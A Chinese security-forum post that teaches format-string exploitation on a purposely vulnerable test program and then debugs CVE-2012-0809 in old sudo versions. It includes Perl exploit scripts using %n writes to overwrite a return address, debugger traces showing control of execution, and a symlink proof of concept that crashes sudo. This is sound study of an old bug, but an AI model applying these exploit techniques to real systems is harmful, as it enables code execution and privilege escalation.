首页
社区
课程
招聘
[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析
发表于: 2021-8-4 18:34 14830

[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析

2021-8-4 18:34
14830

这篇文章分为两个部分,前半部分介绍了如何利用格式化字符串漏洞,后半部分从源代码以及动态调试两个角度对CVE-2012-0809进行了分析。

通过此次学习,充分熟悉了格式化字符串漏洞的利用方法,对linux平台下使用gdb对漏洞进行调试也有所了解。

测试命令行:

test-%x-%x-%x-%n

由于代码中设置了int 3中断,程序开始执行后,会打开调试器,向前步进到第一个函数strncpy的调用处,查看一下栈中情况:

可以看到此时栈顶的三个元素就是函数调用的三个参数:目标地址,字符串源地址,复制长度。

注意这个目标地址是0x18fb48,指向的也是栈中的地址,实际上就在三个参数之后。执行完这个函数调用,栈中情况:

然后继续步进,到达下一个函数printf调用处,查看栈中情况:

printf函数的原型是int printf ( const char * format, ... );,它需要的参数是由第一个参数决定的,因为我们使用的格式化字符串是test-%x-%x-%x-%n,因此一共需要五个参数。其中第五个参数就是已打印字符数的写入地址,也就是栈中0018fb48位置处的数值74736574。还记得这个数值是之前调用strncpy函数时写入的,就是格式化字符串的前四个字符。

所以到目前位置,我们已经发现了一个把可控内容(已打印字符数)写入可控地址(参数的前四个字节)的方法,需要做的就是把shellcode的地址写入返回地址的位置。

shellcode的地址应该在栈中的某个位置,这里选择0x18fb48(十进制1637192)附近。要想控制已打印字符数,可以使用%1111x的格式,这样输出时统计的打印字符数是1111个字节。

返回地址可以查看调用栈:

所以返回地址为0x00401232,返回地址所在的位置为0018ff48+c=0018ff4c,这里有一个问题,返回地址中包含\x00字节,没有办法放在字符串的中间位置。但是需要注意,之所以说写入的可控地址是参数的前四个字节,是因为我们使用的格式化字符串中,%n是第四个格式化字符串,我们可以通过调整%n的位置,让它指向参数的其他位置。

在调用prinf函数时,栈中的结构:

4字节printf函数参数 12字节strncpy函数参数 (%818596x %818596x a个%x %n 168字节shellcode \x4c\xff\x18\x00)

其中括号中的内容就是我们需要传入的参数,%818596x这里的818596是为了控制已打印字符数,根据调试结果还要再次修改,同时这里假定shellcode的长度是168个字节,最后四个字节是返回地址我们要让%n指向这里。所以%x应该正好可以覆盖前面的这些字节,即Num of %x = a+2 = (12+16+2a+2+168)/4,最后得到a等于95,所以%x的个数为97

得到perl脚本:

为了得到准确的已打印字符数,这里的返回地址暂时设置为0x400000,这样程序会在这里异常中断:

注意这时的ECX的值为0018fedf,与我们预期的0x18fb48相差了0x397,这样重新设置format变量为 %818137x%818136x%n,再把ret变量修改为正确的值,得到脚本:

再次执行,步过一开始代码中写的int 3,程序中断在了0x18fb48

按照上面的方法,替换shellcode的内容,重新计算相关的长度,就可以实现漏洞利用了。

根据上面的调试过程,当遇到格式化字符串漏洞时,就可以在任意位置写入任意内容了。其中有几个要点:

CVE-2012-0809是sudo程序中的一个格式化字符串漏洞,存在于版本sudo 1.8.0 - 1.8.3p1中。

kali版本:

漏洞验证:

源码可是直接从src/sudo.c中获取:

根据exploit-db中的描述:

Here getprogname() is argv[0] and by this user controlled. So argv[0] goes to fmt2 which then gets vfprintf()ed to stderr. The result is a Format String vulnerability.

getprogname就是用户可控的输入的程序名,在easprintf函数调用中传入了fmt2变量中,然后又在vfprintf函数调用中传入了stderr,在这一过程中,如果程序名包含了%n,就会发生格式化字符串漏洞。

虽然从代码来看也能看出来,但是我还是希望调试一下,一方面熟悉一下linux下的gdb调试,一方面也想让整个流程更加清晰。

进入gdb之后,因为有源码和符号信息,可以直接在sudo_debug函数下断点,然后继续执行:

可以看到fmt参数的内容是"settings: %s=%s"

使用display/i $pc显示当前的汇编代码,然后继续单步,到达easprintf函数调用的位置:

此时栈中的数据:

所以0x004730eb存储的应该就是"%s: %s\n"字符串,0xbf999a83存储的应该就是getprogname()的结果,我们可以检查一下:

执行完该函数之后,查看一下得到的fmt2变量的内容:

结果是正常的,getprogname()fmt组合的结果。

继续向下执行,到达vfprintf函数调用处,查看栈中数据:

第一个参数就是stderr的位置:

第二个参数就是vfprintf中的格式化字符串,也是esaprintf的执行结果:

第三个参数用于填补格式化字符串,vfprintf根据这个格式化字符串读取栈中后面的数据填入对应位置。:

因为格式化字符串是以%n开头,所以一开始就会把0写入到0x472e97这个位置。

这时候打一个快照,方便之后返回,然后步进一步,这时候就会发生错误:

可以看到这时执行的指令是mov %ecx,(%eax),看一下此时寄存器的情况:

和我们上面推断的一样,把ecx中的0写入了0x472e97

因为格式化字符串的开头就是%n,所以程序直接在第三个参数的首个位置进行了写入,但是注意这里vfprintf函数的第三个参数是0xbf998348,它并不是直接写入这个位置,第三个参数只是一个指针,指向了剩余参数的列表。

所以如果进行漏洞利用,还要看第三个参数指向的位置都保存了什么值,能不能够控制这些值,最终让已打印字符数写入返回地址处或者异常处理函数处。

如果在调用vfprintf之前使用backtrace查看一下函数调用情况:

可以清晰地看到整个流程,直接回到源代码看一下:

根据上述代码,应该是说sudo有一系列的settings,这里正在循环打印其名称和值,并在打印时在最前面添加上程序名。

下面的结论不一定正确,纯猜测!!!

所以第三个参数指向的应该就是设置名称和值,如果能够改变这些设置其中的一个值,是不是就能够控制写入的位置了呢。

在撰写本文的过程中,其实前半部分对格式化字符串漏洞的学习反而收获比较大,后面对CVE-2012-0809的分析更多的是熟悉linux平台下gdb漏洞调试的方法。

在对格式化字符串漏洞进行利用时,需要一些对栈中数据的排列结构的了解,以及一些数学技巧才能构造出最终输入的格式化字符串,这一部分内容很有意思。

exploit-db上提供了一个exploit的代码,但是它同时利用了两个漏洞,除了本漏洞之外,还有一个利用整数溢出绕过glibc FORTIFY_SOURCE的技巧,由于缺乏对于Linux平台的了解,我只是简单看了一下这份代码,确实有很多的内容都不了解,不知道作者为什么会这么写。

 
#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
    char buff[1024];
    __asm int 3
    strncpy(buff, argv[1], sizeof(buff)-1);
    printf(buff);
 
    return 0;
}
#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
    char buff[1024];
    __asm int 3
    strncpy(buff, argv[1], sizeof(buff)-1);
    printf(buff);
 
    return 0;
}
 
0:000> dc /c 1 esp
0018fb3c  0018fb48  H...      // 目标地址
0018fb40  004e0e77  w.N.      // 源地址
0018fb44  000003ff  ....      // 复制长度
0018fb48  02480248  H.H.      // 这里就是目标地址指向的位置
0018fb4c  02480248  H.H.
0018fb50  02480248  H.H.
0018fb54  02480248  H.H.
0018fb58  02480248  H.H.
...
0:000> dc /c 1 esp
0018fb3c  0018fb48  H...      // 目标地址
0018fb40  004e0e77  w.N.      // 源地址
0018fb44  000003ff  ....      // 复制长度
0018fb48  02480248  H.H.      // 这里就是目标地址指向的位置
0018fb4c  02480248  H.H.
0018fb50  02480248  H.H.
0018fb54  02480248  H.H.
0018fb58  02480248  H.H.
...
 
0:000> dc /c 1 esp
0018fb3c  0018fb48  H...
0018fb40  004e0e77  w.N.
0018fb44  000003ff  ....
0018fb48  74736574  test
0018fb4c  2d78252d  -%x-
0018fb50  252d7825  %x-%
0018fb54  6e252d78  x-%n
0018fb58  00000000  ....
0018fb5c  00000000  ....
0018fb60  00000000  ....
0018fb64  00000000  ....
0018fb68  00000000  ....
...
0:000> dc /c 1 esp
0018fb3c  0018fb48  H...
0018fb40  004e0e77  w.N.
0018fb44  000003ff  ....
0018fb48  74736574  test
0018fb4c  2d78252d  -%x-
0018fb50  252d7825  %x-%
0018fb54  6e252d78  x-%n
0018fb58  00000000  ....
0018fb5c  00000000  ....
0018fb60  00000000  ....
0018fb64  00000000  ....
0018fb68  00000000  ....
...
0:000> dc /c 1 esp
0018fb38  0018fb48  H...
0018fb3c  0018fb48  H...
0018fb40  004e0e77  w.N.
0018fb44  000003ff  ....
0018fb48  74736574  test
0018fb4c  2d78252d  -%x-
0018fb50  252d7825  %x-%
0018fb54  6e252d78  x-%n
0018fb58  00000000  ....
0018fb5c  00000000  ....
0018fb60  00000000  ....
...
0:000> dc /c 1 esp
0018fb38  0018fb48  H...
0018fb3c  0018fb48  H...
0018fb40  004e0e77  w.N.
0018fb44  000003ff  ....
0018fb48  74736574  test
0018fb4c  2d78252d  -%x-
0018fb50  252d7825  %x-%
0018fb54  6e252d78  x-%n
0018fb58  00000000  ....
0018fb5c  00000000  ....
0018fb60  00000000  ....
...
 
 
 
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
0018ff48 00401232 00000002 004e0e28 004e0e90 FormatString+0x1029
0018ff88 77203677 7efde000 0018ffd4 77929d72 FormatString+0x1232
0018ff94 77929d72 7efde000 75381a13 00000000 kernel32!BaseThreadInitThunk+0xe
0018ffd4 77929d45 0040117e 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 0040117e 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
0018ff48 00401232 00000002 004e0e28 004e0e90 FormatString+0x1029
0018ff88 77203677 7efde000 0018ffd4 77929d72 FormatString+0x1232
0018ff94 77929d72 7efde000 75381a13 00000000 kernel32!BaseThreadInitThunk+0xe
0018ffd4 77929d45 0040117e 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 0040117e 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
 
 
 
#!/usr/bin/perl
my $shellcode ="\xCC" x 168;
my $x = "%x" x 95;
my $format = '%818596x%818596x%n';
my $ret = "\x00\x00\x40\x00";
my $buf = $shellcode.$x.$format.$ret;
 
system('FormatString.exe', $buf);
#!/usr/bin/perl
my $shellcode ="\xCC" x 168;
my $x = "%x" x 95;
my $format = '%818596x%818596x%n';
my $ret = "\x00\x00\x40\x00";
my $buf = $shellcode.$x.$format.$ret;
 
system('FormatString.exe', $buf);
(644.424): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000006e ecx=0018fedf edx=00000200 esi=0018fcc0 edi=00000800
eip=00401877 esp=0018f8b8 ebp=0018fb10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FormatString+0x1877:
00401877 8908            mov     dword ptr [eax],ecx  ds:002b:00000000=????????
(644.424): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000006e ecx=0018fedf edx=00000200 esi=0018fcc0 edi=00000800
eip=00401877 esp=0018f8b8 ebp=0018fb10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FormatString+0x1877:
00401877 8908            mov     dword ptr [eax],ecx  ds:002b:00000000=????????
#!/usr/bin/perl
my $shellcode ="\xCC" x 168;
my $x = "%x" x 95;
my $format = '%818137x%818136x%n';
my $ret = "\x4c\xff\x18\x00";
my $buf = $shellcode.$x.$format.$ret;
my $buf2 = "\x{910c}";
 
system('FormatString.exe', $buf);
#!/usr/bin/perl
my $shellcode ="\xCC" x 168;
my $x = "%x" x 95;
my $format = '%818137x%818136x%n';
my $ret = "\x4c\xff\x18\x00";
my $buf = $shellcode.$x.$format.$ret;
my $buf2 = "\x{910c}";
 
system('FormatString.exe', $buf);
0:000> g
(544.7d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7efde000 ecx=00407060 edx=0008e3b8 esi=00000000 edi=00000000
eip=0018fb48 esp=0018ff50 ebp=0018ff88 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0018fb48 cc              int     3
0:000> g
(544.7d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7efde000 ecx=00407060 edx=0008e3b8 esi=00000000 edi=00000000
eip=0018fb48 esp=0018ff50 ebp=0018ff88 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0018fb48 cc              int     3
root@kali:~/Desktop# uname -a
Linux kali 5.10.0-kali7-686-pae #1 SMP Debian 5.10.28-1kali1 (2021-04-12) i686 GNU/Linux
root@kali:~/Desktop# uname -a
Linux kali 5.10.0-kali7-686-pae #1 SMP Debian 5.10.28-1kali1 (2021-04-12) i686 GNU/Linux
apt-get --purge remove sudo
apt-get --purge remove sudo
root@kali:~/Desktop# ln -s /usr/local/bin/sudo %n
root@kali:~/Desktop# ./%n -D9
Segmentation fault
root@kali:~/Desktop# ln -s /usr/local/bin/sudo %n
root@kali:~/Desktop# ./%n -D9
Segmentation fault
void
sudo_debug(int level, const char *fmt, ...)
{
    va_list ap;
    char *fmt2;
 
    if (level > debug_level)
    return;
 
    /* Backet fmt with program name and a newline to make it a single write */
    easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
    va_start(ap, fmt);
    vfprintf(stderr, fmt2, ap);
    va_end(ap);
    efree(fmt2);
}
void
sudo_debug(int level, const char *fmt, ...)
{
    va_list ap;
    char *fmt2;
 
    if (level > debug_level)
    return;
 
    /* Backet fmt with program name and a newline to make it a single write */
    easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
    va_start(ap, fmt);
    vfprintf(stderr, fmt2, ap);
    va_end(ap);
    efree(fmt2);
}
 
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//